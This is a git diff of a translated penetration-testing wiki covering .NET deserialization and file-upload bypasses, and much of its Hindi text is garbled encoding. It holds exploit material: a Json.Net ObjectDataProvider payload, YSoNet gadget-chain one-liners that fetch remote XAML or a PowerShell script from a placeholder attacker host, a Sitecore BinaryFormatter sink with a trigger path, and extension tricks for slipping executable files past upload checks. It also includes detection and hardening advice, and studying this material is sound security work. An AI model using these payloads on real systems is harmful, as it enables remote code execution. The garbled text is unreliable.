+In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. рдЗрд╕рд▓рд┐рдП, рдЕрдЧрд░ рд╣рдо **deserialize the ObjectDataProvider gadget** рдХрд░ рдкрд╛рдПрдБ рддреЛ рд╕рд┐рд░реНрдлрд╝ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ deserialize рдХрд░рдХреЗ рд╣рдо **RCE** рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
-### Json.Net example
+### Json.Net рдЙрджрд╛рд╣рд░рдг
-рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдЗрд╕ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА object рдХреЛ **serialize/deserialize** рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
+рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдЗрд╕ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдХреИрд╕реЗ **serialize/deserialize** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
```java
using System;
using Newtonsoft.Json;
@@ -147,7 +145,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
-рдЗрд╕ рдХреЛрдб рдореЗрдВ рдЖрдк **test the exploit**, рдмрд╕ рдЗрд╕реЗ рдЪрд▓рд╛рдПрдБ рдФрд░ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ calc рдЪрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
+рдЗрд╕ рдХреЛрдб рдореЗрдВ рдЖрдк **test the exploit** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ тАФ рдмрд╕ рдЗрд╕реЗ рдЪрд▓рд╛рдПрдБ рдФрд░ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ calc рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИ:
```java
using System;
using System.Text;
@@ -184,27 +182,27 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
-## рдЙрдиреНрдирдд .NET Gadget Chains (YSoNet & ysoserial.net)
+## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
-ObjectDataProvider + ExpandedWrapper technique рдЬреЛ рдКрдкрд░ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреЗрд╡рд▓ рдЙрди рдХрдИ gadget chains рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рддрдм рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ application **unsafe .NET deserialization** рдХрд░рддрд╛ рд╣реИред Modern red-team tooling рдЬреИрд╕реЗ **[YSoNet](https://github.com/irsdl/ysonet)** (рдФрд░ рдкреБрд░рд╛рдиреЗ [ysoserial.net](https://github.com/pwntester/ysoserial.net)) рджрд░реНрдЬрдиреЛрдВ gadgets рдФрд░ serialization formats рдХреЗ рд▓рд┐рдП **ready-to-use malicious object graphs** рдХрд╛ рдирд┐рд░реНрдорд╛рдг рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВред
+ObjectDataProvider + ExpandedWrapper рддрдХрдиреАрдХ рдЬреЛ рдКрдкрд░ рдкреНрд░рд╕реНрддреБрдд рдХреА рдЧрдИ рд╣реИ, рдХреЗрд╡рд▓ рдЙрди MANY gadget chains рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рддрдм рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ рдПрдкреНрд▓рд┐рдХреЗрд╢рди **unsafe .NET deserialization** рдХрд░рддрд╛ рд╣реИред рдЖрдзреБрдирд┐рдХ red-team tooling рдЬреИрд╕реЗ **YSoNet** (рдФрд░ рдкреБрд░рд╛рдирд╛ [ysoserial.net](https://github.com/pwntester/ysoserial.net)) рджрд░реНрдЬрдиреЛрдВ gadgets рдФрд░ serialization рдлрд╝реЙрд░реНрдореИрдЯреНрд╕ рдХреЗ рд▓рд┐рдП **ready-to-use malicious object graphs** рдмрдирд╛рдиреЗ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВред
-рдиреАрдЪреЗ *YSoNet* рдХреЗ рд╕рд╛рде рднреЗрдЬреЗ рдЧрдП рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА chains рдХрд╛ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд╕рдВрджрд░реНрдн рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рд╡реЗ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ рдФрд░ payloads рдЬрдирд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдЙрджрд╛рд╣рд░рдг commandsред
+рдиреАрдЪреЗ *YSoNet* рдХреЗ рд╕рд╛рде рднреЗрдЬреЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА рдЪреЗрди рдХрд╛ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд╕рдВрджрд░реНрдн рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ рдЗрд╕рдХрд╛ рддреНрд╡рд░рд┐рдд рд╕реНрдкрд╖реНрдЯрд┐рдХрд░рдг рдФрд░ payload рдЬрдирд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХрдорд╛рдВрдб рджрд┐рдП рдЧрдП рд╣реИрдВред
-| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
-|--------------|----------------------|--------------------|------------------|
-| **TypeConfuseDelegate** | DelegateSerializationHolder рд░рд┐рдХреЙрд░реНрдб рдХреЛ рдХрд░рдкреНрдЯ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐, рдПрдХ рдмрд╛рд░ materialised рд╣реЛрдиреЗ рдкрд░, delegate рдХрд┐рд╕реА рднреА attacker рджреНрд╡рд╛рд░рд╛ рд╕рдкреНрд▓рд╛рдИ рдХрд┐рдП рдЧрдП method рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗ (рдЙрджрд╛. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
-| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рдХреЗ *bypass .NET тЙе4.8 type-filtering* рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рджрд┐рдП рдЧрдП class рдХреЗ **constructor** рдХреЛ рд╕реАрдзреЗ invoke рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдЪрд╛рд▓реВ рдХреЗ рджреМрд░рд╛рди C# file рдХреЛ **compile** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
-| **DataSetOldBehaviour** | `System.Data.DataSet` рдХреЗ **legacy XML** рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ `` / `` рдлреАрд▓реНрдб рднрд░рдХрд░ arbitrary types instantiate рдХрд░рддрд╛ рд╣реИ (рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ assembly рдХреЛ `--spoofedAssembly` рд╕реЗ рдлреЗрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "тАж" --spoofedAssembly mscorlib > payload.xml` |
-| **GetterCompilerResults** | WPF-enabled runtimes (> .NET 5) рдкрд░ property getters рдХреЛ chain рдХрд░рддрд╛ рд╣реИ рдЬрдм рддрдХ рдХрд┐ `System.CodeDom.Compiler.CompilerResults` рддрдХ рди рдкрд╣реБрдБрдЪ рдЬрд╛рдП, рдлрд┐рд░ *compiles* рдпрд╛ `-c` рдХреЗ рд╕рд╛рде рджрд┐рдП рдЧрдП DLL рдХреЛ *loads* рдХрд░рддрд╛ рд╣реИ | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
-| **ObjectDataProvider** (review) | WPF `System.Windows.Data.ObjectDataProvider` рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд┐рдпрдВрддреНрд░рд┐рдд arguments рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА arbitrary static method рдХреЛ call рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред YSoNet рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ `--xamlurl` variant рдЬреЛрдбрд╝рддрд╛ рд╣реИ рддрд╛рдХрд┐ malicious XAML рдХреЛ remote рдкрд░ host рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
-| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` рдореЗрдВ `ScriptBlock` embed рдХрд░рддрд╛ рд╣реИ рдЬреЛ рддрдм execute рд╣реЛрддрд╛ рд╣реИ рдЬрдм PowerShell рдЙрд╕ object рдХреЛ deserialise рдХрд░рддрд╛ рд╣реИ | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
+| Gadget Chain | рдореБрдЦреНрдп рд╡рд┐рдЪрд╛рд░ / рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡ | Common Serializers | YSoNet one-liner |
+|--------------|------------------------|--------------------|------------------|
+| **TypeConfuseDelegate** | `DelegateSerializationHolder` рд░рд┐рдХреЙрд░реНрдб рдХреЛ рдХрд░рдкреНрдЯ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐, materialise рд╣реЛрдиреЗ рдкрд░, delegate рдХрд┐рд╕реА рднреА attacker-supplied method (рдЙрджрд╛. `Process.Start`) рдХреА рдУрд░ рдкреЙрдЗрдВрдЯ рдХрд░реЗ | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
+| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ .NET тЙе4.8 рдХреЗ type-filtering рдХреЛ *bypass* рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкреНрд░рджрд╛рди рдХреА рдЧрдИ рдХреНрд▓рд╛рд╕ рдХреЗ **constructor** рдХреЛ рд╕реАрдзреЗ invoke рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рд░рди-рдЯрд╛рдЗрдо рдкрд░ C# рдлрд╝рд╛рдЗрд▓ рдХреЛ **compile** рдХрд░ рд╕рдХрддрд╛ рд╣реИ | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
+| **DataSetOldBehaviour** | `System.Data.DataSet` рдХреЗ **legacy XML** рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ arbitrary types instantiate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `` / `` рдлрд╝реАрд▓реНрдбреНрд╕ рдХреЛ рднрд░рддрд╛ рд╣реИ (рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ `--spoofedAssembly` рд╕реЗ assembly рдХреЛ fake рдХрд░ рд╕рдХрддрд╛ рд╣реИ) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "тАж" --spoofedAssembly mscorlib > payload.xml` |
+| **GetterCompilerResults** | WPF-enabled runtimes (> .NET 5) рдкрд░ property getters рдХреЛ chain рдХрд░рдХреЗ `System.CodeDom.Compiler.CompilerResults` рддрдХ рдкрд╣реБрдВрдЪрддрд╛ рд╣реИ, рдлрд┐рд░ `-c` рдХреЗ рд╕рд╛рде рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП DLL рдХреЛ *compile* рдпрд╛ *load* рдХрд░рддрд╛ рд╣реИ | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
+| **ObjectDataProvider** (review) | WPF `System.Windows.Data.ObjectDataProvider` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рдпрдВрддреНрд░рд┐рдд arguments рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА arbitrary static method рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред YSoNet рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ `--xamlurl` рд╡рд┐рдХрд▓реНрдк рдЬреЛрдбрд╝рддрд╛ рд╣реИ рддрд╛рдХрд┐ malicious XAML рдХреЛ рд░рд┐рдореЛрдЯрд▓реА host рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
+| **PSObject (CVE-2017-8565)** | `ScriptBlock` рдХреЛ `System.Management.Automation.PSObject` рдореЗрдВ embed рдХрд░рддрд╛ рд╣реИ рдЬреЛ PowerShell рджреНрд╡рд╛рд░рд╛ object рдХреЛ deserialize рдХрд░рдиреЗ рдкрд░ execute рд╣реЛрддрд╛ рд╣реИ | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
-> рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рднреА payloads **stdout рдкрд░ рд▓рд┐рдЦреЗ рдЬрд╛рддреЗ рд╣реИрдВ**, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдЕрдиреНрдп tooling (рдЙрджрд╛. ViewState generators, base64 encoders, HTTP clients) рдореЗрдВ pipe рдХрд░рдирд╛ trivial рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
+> рд╕рднреА payloads рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ **stdout рдкрд░ рд▓рд┐рдЦреЗ рдЬрд╛рддреЗ рд╣реИрдВ**, рдЬрд┐рд╕рд╕реЗ рдЗрдиреНрд╣реЗрдВ рдЕрдиреНрдп tooling (рдЙрджрд╛. ViewState generators, base64 encoders, HTTP clients) рдореЗрдВ pipe рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
-### YSoNet рдмрдирд╛рдирд╛ / рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдирд╛
+### Building / Installing YSoNet
-рдпрджрд┐ *Actions тЮЬ Artifacts* / *Releases* рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдХреЛрдИ pre-compiled binaries рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИрдВ, рддреЛ рдирд┐рдореНрди **PowerShell** one-liner рдПрдХ build environment рд╕реЗрдЯ рдХрд░реЗрдЧрд╛, repository рдХреЛ clone рдХрд░реЗрдЧрд╛ рдФрд░ рд╕рдм рдХреБрдЫ *Release* mode рдореЗрдВ compile рдХрд░реЗрдЧрд╛:
+рдпрджрд┐ *Actions тЮЬ Artifacts* / *Releases* рдХреЗ рддрд╣рдд рдХреЛрдИ pre-compiled binaries рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИрдВ, рддреЛ рдирд┐рдореНрди **PowerShell** one-liner build рдкрд░реНрдпрд╛рд╡рд░рдг рд╕реЗрдЯрдЕрдк рдХрд░реЗрдЧрд╛, repository clone рдХрд░реЗрдЧрд╛ рдФрд░ рд╕рдм рдХреБрдЫ *Release* рдореЛрдб рдореЗрдВ compile рдХрд░реЗрдЧрд╛:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@@ -219,17 +217,17 @@ msbuild ysonet.sln -p:Configuration=Release
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
### рдбрд┐рдЯреЗрдХреНрд╢рди рдФрд░ рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ
-* **рдкрддрд╛ рд▓рдЧрд╛рдПрдБ** `w3wp.exe`, `PowerShell.exe` рдХреЗ рдЕрдирдкреЗрдХреНрд╖рд┐рдд child processes, рдпрд╛ рдХрд┐рд╕реА рднреА рдкреНрд░реЛрд╕реЗрд╕ рдХрд╛ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЛ deserialising рдХрд░ рд░рд╣рд╛ рд╣реЛ (рдЬреИрд╕реЗ `MessagePack`, `Json.NET`)ред
-* рд╕рдХреНрд╖рдо рдХрд░реЗрдВ рдФрд░ **type-filtering рд▓рд╛рдЧреВ/рдЕрдирд┐рд╡рд╛рд░реНрдп рдХрд░реЗрдВ** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) рдЬрдм рднреА legacy `BinaryFormatter` / `NetDataContractSerializer` рд╣рдЯрд╛рдпрд╛ рди рдЬрд╛ рд╕рдХреЗред
-* рдЬрд╣рд╛рдБ рд╕рдВрднрд╡ рд╣реЛ, **`System.Text.Json`** рдпрд╛ **`DataContractJsonSerializer`** рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВ, whitelist-рдЖрдзрд╛рд░рд┐рдд converters рдХреЗ рд╕рд╛рдеред
-* рдЙрди рд╡реЗрдм рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдХрднреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛ, рдЦрддрд░рдирд╛рдХ WPF assemblies (`PresentationFramework`, `System.Workflow.*`) рдХреЛ рд▓реЛрдб рд╣реЛрдиреЗ рд╕реЗ рд░реЛрдХреЗрдВред
+* **рдкрддрд╛ рд▓рдЧрд╛рдПрдБ** рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдЪрд╛рдЗрд▓реНрдб рдкреНрд░реЛрд╕реЗрд╕ рдХреЗ рдХрд┐ `w3wp.exe`, `PowerShell.exe`, рдпрд╛ рдХреЛрдИ рднреА рдкреНрд░реЛрд╕реЗрд╕ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рджрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЛ deserialize рдХрд░ рд░рд╣рд╛ рд╣реЛ (рдЬреИрд╕реЗ `MessagePack`, `Json.NET`)ред
+* рдЬрд╣рд╛рдБ рд╕рдВрднрд╡ рд╣реЛ `type-filtering` рдХреЛ рд╕рдХреНрд╖рдо рдФрд░ рд▓рд╛рдЧреВ рдХрд░реЗрдВ (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) рдЬрдм рднреА рдкреБрд░рд╛рдиреЗ `BinaryFormatter` / `NetDataContractSerializer` рдХреЛ рд╣рдЯрд╛рдпрд╛ рдирд╣реАрдВ рдЬрд╛ рд╕рдХреЗред
+* рдЬрд╣рд╛рдБ рд╕рдВрднрд╡ рд╣реЛ **`System.Text.Json`** рдпрд╛ **`DataContractJsonSerializer`** рдореЗрдВ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ-рдЖрдзрд╛рд░рд┐рдд converters рдХреЗ рд╕рд╛рде рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВред
+* рдЙрди рд╡реЗрдм рдкреНрд░реЛрд╕реЗрд╕реЛрдВ рдореЗрдВ рдЦрддрд░рдирд╛рдХ WPF assemblies (`PresentationFramework`, `System.Workflow.*`) рдХреЗ рд▓реЛрдб рд╣реЛрдиреЗ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░реЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЗрдирдХреА рдЬрд╝рд░реВрд░рдд рдирд╣реАрдВ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред
## рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХрд╛ sink: Sitecore convertToRuntimeHtml тЖТ BinaryFormatter
-рдПрдХ рд╡реНрдпрд╡рд╣рд╛рд░рд┐рдХ .NET sink рдЬреЛ рдкреНрд░рдорд╛рдгреАрдХреГрдд Sitecore XP Content Editor рдкреНрд░рд╡рд╛рд╣реЛрдВ рдореЗрдВ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реИ:
+рдПрдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ .NET sink рдЬреЛ рдкреНрд░рдорд╛рдгреАрдХреГрдд Sitecore XP Content Editor рдлреНрд▓реЛ рдореЗрдВ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
-- Sink API: `Sitecore.Convert.Base64ToObject(string)` `new BinaryFormatter().Deserialize(...)` рдХреЛ wrap рдХрд░рддрд╛ рд╣реИред
-- Trigger path: pipeline `convertToRuntimeHtml` тЖТ `ConvertWebControls`, рдЬреЛ рдПрдХ sibling element рдЦреЛрдЬрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ `id="{iframeId}_inner"` рд╣реИ рдФрд░ `value` attribute рдкрдврд╝рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ base64тАРencoded serialized data рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдо рдХреЛ string рдореЗрдВ cast рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ HTML рдореЗрдВ insert рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
+- Sink API: `Sitecore.Convert.Base64ToObject(string)` рд░реИрдк рдХрд░рддрд╛ рд╣реИ `new BinaryFormatter().Deserialize(...)`ред
+- Trigger path: pipeline `convertToRuntimeHtml` тЖТ `ConvertWebControls`, рдЬреЛ рдПрдХ рд╕рд┐рдмрд▓рд┐рдВрдЧ рддрддреНрд╡ рдЦреЛрдЬрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ `id="{iframeId}_inner"` рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдПрдХ `value` attribute рдкрдврд╝рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ base64тАСencoded serialized data рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдо рдХреЛ string рдореЗрдВ cast рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ HTML рдореЗрдВ insert рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
Minimal endтАСtoтАСend (authenticated):
```
@@ -248,7 +246,7 @@ GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.Fix
```
- Gadget: рдХреЛрдИ рднреА BinaryFormatter chain рдЬреЛ string рд▓реМрдЯрд╛рддрд╛ рд╣реИ (sideтАСeffects deserialization рдХреЗ рджреМрд░рд╛рди рдЪрд▓рддреЗ рд╣реИрдВ). See YSoNet/ysoserial.net to generate payloads.
-рдПрдХ рдкреВрд░рд╛ chain рдЬреЛ preтАСauth рд╕реЗ рд╢реБрд░реВ рд╣реЛрдХрд░ Sitecore рдореЗрдВ HTML cache poisoning рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕ sink рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИ:
+For a full chain that starts preтАСauth with HTML cache poisoning in Sitecore and leads to this sink:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md
index cef7f1ab0..099b25999 100644
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@@ -4,7 +4,7 @@
## рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рд╕рд╛рдорд╛рдиреНрдп рдХрд╛рд░реНрдпрдкреНрд░рдгрд╛рд▓реА
-рдЕрдиреНрдп рдЙрдкрдпреЛрдЧреА extensions:
+Other useful extensions:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
@@ -15,13 +15,13 @@
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
-### рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЪреЗрдХ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛
+### Bypass file extensions checks
-1. рдпрджрд┐ рд╡реЗ рд▓рд╛рдЧреВ рд╣реЛрдВ, рддреЛ **рдкрд╣рд▓реЗ рдмрддрд╛рдП рдЧрдП extensions** рдХреА **рдЬрд╛рдБрдЪ** рдХрд░реЗрдВред рдЙрдиреНрд╣реЗрдВ рдХреБрдЫ **uppercase letters** рдХреЗ рд╕рд╛рде рднреА рдЯреЗрд╕реНрдЯ рдХрд░реЗрдВ: _pHp, .pHP5, .PhAr ..._
-2. _рдПрдХреНрдЬреАрдХреНрдпреВрд╢рди рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рд╡реИрдз рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЬреЛрдбрд╝рдиреЗ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ (рдкрд╣рд▓реЗ рдмрддрд╛рдП рдЧрдП extensions рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ):_
+1. рдЕрдЧрд░ рд▓рд╛рдЧреВ рд╣реЛ, рддреЛ **рдкрд╣рд▓реЗ рдмрддрд╛рдИ рдЧрдИ extensions** рдХреА **рдЬрд╛рдБрдЪ** рдХрд░реЗрдВред рд╕рд╛рде рд╣реА рдХреБрдЫ **uppercase letters** рдХреЗ рд╕рд╛рде рднреА рдЯреЗрд╕реНрдЯ рдХрд░реЗрдВ: _pHp, .pHP5, .PhAr ..._
+2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
- _file.png.php_
- _file.png.Php5_
-3. рдЕрдВрдд рдореЗрдВ **рд╡рд┐рд╢реЗрд╖ рдХреИрд░реЗрдХреНрдЯрд░** рдЬреЛрдбрд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рдЖрдк Burp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рднреА **ascii** рдФрд░ **Unicode** рдХреИрд░реЗрдХреНрдЯрд░ **bruteforce** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдкрд╣рд▓реЗ рдмрддрд╛рдП рдЧрдП **extensions** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ_)
